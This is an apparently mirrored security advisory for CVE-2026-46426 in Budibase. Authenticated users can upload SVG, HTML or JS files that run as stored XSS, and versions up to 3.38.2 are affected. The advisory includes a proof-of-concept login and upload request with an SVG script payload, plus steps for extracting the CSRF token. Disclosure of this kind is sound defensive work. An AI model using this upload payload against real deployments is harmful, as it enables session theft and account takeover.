GHSA-82RC-GXRG-V4GF高危已审查

Budibase: Unrestricted Upload of File with Dangerous Type

OSV 1.4.0 · github-reviewed · 修改于 2026-06-09 07:51

发布时间

2026-05-20 00:31

GitHub 审查时间

2026-05-20 00:31

NVD 发布时间

2026-05-28 02:16

源文件

advisories/github-reviewed/2026/05/GHSA-82rc-gxrg-v4gf/GHSA-82rc-gxrg-v4gf.json

公告说明

Summary

The file upload endpoint POST /api/attachments/process does not enforce active-content restrictions for authenticated users. The checks for dangerous file extensions (html, svg, js, php, etc.) are conditionally wrapped inside if (isPublicUser) or if (isPublicUser || !env.SELF_HOSTED), meaning any authenticated builder can upload executable web content — SVG files with inline <script> tags, HTML pages with JavaScript, .js modules — which are then stored in the object store (MinIO/S3) with their correct MIME types (image/svg+xml, text/html, application/javascript). When the resulting signed URL is opened by any app user, the browser executes the payload.

Impact is persistent stored XSS over all application end users.

Details

The vulnerability exists in a single handler function uploadFile shared by two routes, located in packages/server/src/api/controllers/static/index.ts (lines 93–179).

Route definitions (packages/server/src/api/routes/static.ts):

POST /api/attachments/process → authorized(BUILDER) POST /api/attachments/:tableId/upload → authorized(PermissionType.TABLE, PermissionLevel.WRITE) Both routes invoke the same uploadFile function. The second endpoint is accessible to any authenticated app user (BASIC or POWER role) who has been granted WRITE on any table — not just builders.

PoC

Prerequisites

Budibase self-hosted Docker deployment, any version ≤ 3.30.6
An account with Builder role (does not require admin)
Target app published and accessible to end users

Step 1 — Authenticate as builder

POST /api/global/auth/default/login HTTP/1.1
Host: target:10000
Content-Type: application/json

{"username":"[email protected]","password":"BuilderPass1!"}

HTTP/1.1 200 OK
Set-Cookie: budibase:auth=<jwt>; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT
Set-Cookie: budibase:auth.sig=<sig>; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT

{"message":"Login successful"}

标识信息

别名 / CVE

CVE-2026-46426

CWE

CWE-434CWE-79

软件生态

npm

扩展资料

暂无扩展资料。

CVSS 评分

CVSS_V3

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

原始 OSV JSON

{
  "id": "GHSA-82rc-gxrg-v4gf",
  "aliases": [
    "CVE-2026-46426"
  ],
  "details": "### Summary\nThe file upload endpoint `POST /api/attachments/process` does not enforce active-content restrictions for authenticated users. The checks for dangerous file extensions (`html`, `svg`, `js`, `php`, etc.) are conditionally wrapped inside `if (isPublicUser)` or `if (isPublicUser || !env.SELF_HOSTED)`, meaning any authenticated builder can upload executable web content — SVG files with inline `<script>` tags, HTML pages with JavaScript, `.js` modules — which are then stored in the object store (MinIO/S3) with their correct MIME types (`image/svg+xml`, `text/html`, `application/javascript`). When the resulting signed URL is opened by any app user, the browser executes the payload.\n\nImpact is **persistent stored XSS** over all application end users.\n\n### Details\nThe vulnerability exists in a single handler function uploadFile shared by two routes, located in packages/server/src/api/controllers/static/index.ts (lines 93–179).\n\nRoute definitions (packages/server/src/api/routes/static.ts):\n\nPOST /api/attachments/process              → authorized(BUILDER)\nPOST /api/attachments/:tableId/upload      → authorized(PermissionType.TABLE, PermissionLevel.WRITE)\nBoth routes invoke the same uploadFile function. The second endpoint is accessible to any authenticated app user (BASIC or POWER role) who has been granted WRITE on any table — not just builders.\n\n### PoC\n\n### Prerequisites\n\n- Budibase self-hosted Docker deployment, any version ≤ 3.30.6\n- An account with Builder role (does **not** require admin)\n- Target app published and accessible to end users\n\n### Step 1 — Authenticate as builder\n\n```http\nPOST /api/global/auth/default/login HTTP/1.1\nHost: target:10000\nContent-Type: application/json\n\n{\"username\":\"[email protected]\",\"password\":\"BuilderPass1!\"}\n```\n\n```\nHTTP/1.1 200 OK\nSet-Cookie: budibase:auth=<jwt>; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT\nSet-Cookie: budibase:auth.sig=<sig>; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT\n\n{\"message\":\"Login successful\"}\n```\n\nThe CSRF token is bound to the session. Browsers send it automatically via the Budibase\nfrontend JS. For scripted requests, decode the JWT payload (base64url second segment) to\nextract `sessionId`, then read the Redis key `session-<userId>/<sessionId>` → `csrfToken`.\n\n### Step 2 — Upload SVG with XSS payload\n\n```http\nPOST /api/attachments/process HTTP/1.1\nHost: target:10000\nCookie: budibase:auth=<jwt>; budibase:auth.sig=<sig>\nx-budibase-app-id: <dev_app_id>\nx-csrf-token: <csrf_token>\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXXXXXX\nContent-Length: 391\n\n------WebKitFormBoundaryXXXXXXXXXXXXXXXX\nContent-Disposition: form-data; name=\"file\"; filename=\"xss.svg\"\nContent-Type: image/svg+xml\n\n<svg xmlns=\"http://www.w3.org/2000/svg\"><script>alert(document.domain)</script></svg>\n------WebKitFormBoundaryXXXXXXXXXXXXXXXX--\n```\n\n```json\nHTTP/1.1 200 OK\n\n[{\"size\":207,\"name\":\"xss.svg\",\"url\":\"http://target:10000/files/signed/.../<uuid>.svg?X-Amz-...\",\"extension\":\"svg\",\"key\":\"workspace_id/attachments/<uuid>.svg\"}]\n```\n### Impact\n* App end users - Stored XSS on any screen containing the attachment URL. Session cookie theft → full account takeover. |\n* Builder accounts - If malicious URL is shared within the workspace (table attachment, embedded image), XSS fires in builder's session → workspace takeover. \n\n\n<img width=\"3087\" height=\"1489\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b0ee0263-85de-430e-9575-88ec91eae565\" />\n\n\n<img width=\"2100\" height=\"1016\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5133bb1e-f637-479e-952f-14b3265129b4\" />\n\n\n\n\n\n\n\n--------\nDiscovered By:\nAbdulrahman Albatel\nAbdullah Alrasheed",
  "summary": "Budibase: Unrestricted Upload of File with Dangerous Type",
  "affected": [
    {
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.38.2"
            }
          ]
        }
      ],
      "package": {
        "name": "budibase",
        "ecosystem": "npm"
      }
    }
  ],
  "modified": "2026-06-08T23:51:56Z",
  "severity": [
    {
      "type": "CVSS_V3",
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N"
    }
  ],
  "published": "2026-05-19T16:31:30Z",
  "references": [
    {
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-82rc-gxrg-v4gf",
      "type": "WEB"
    },
    {
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46426",
      "type": "ADVISORY"
    },
    {
      "url": "https://github.com/Budibase/budibase",
      "type": "PACKAGE"
    },
    {
      "url": "https://github.com/Budibase/budibase/releases/tag/3.38.2",
      "type": "WEB"
    }
  ],
  "schema_version": "1.4.0",
  "database_specific": {
    "cwe_ids": [
      "CWE-434",
      "CWE-79"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "nvd_published_at": "2026-05-27T18:16:26Z",
    "github_reviewed_at": "2026-05-19T16:31:30Z"
  }
}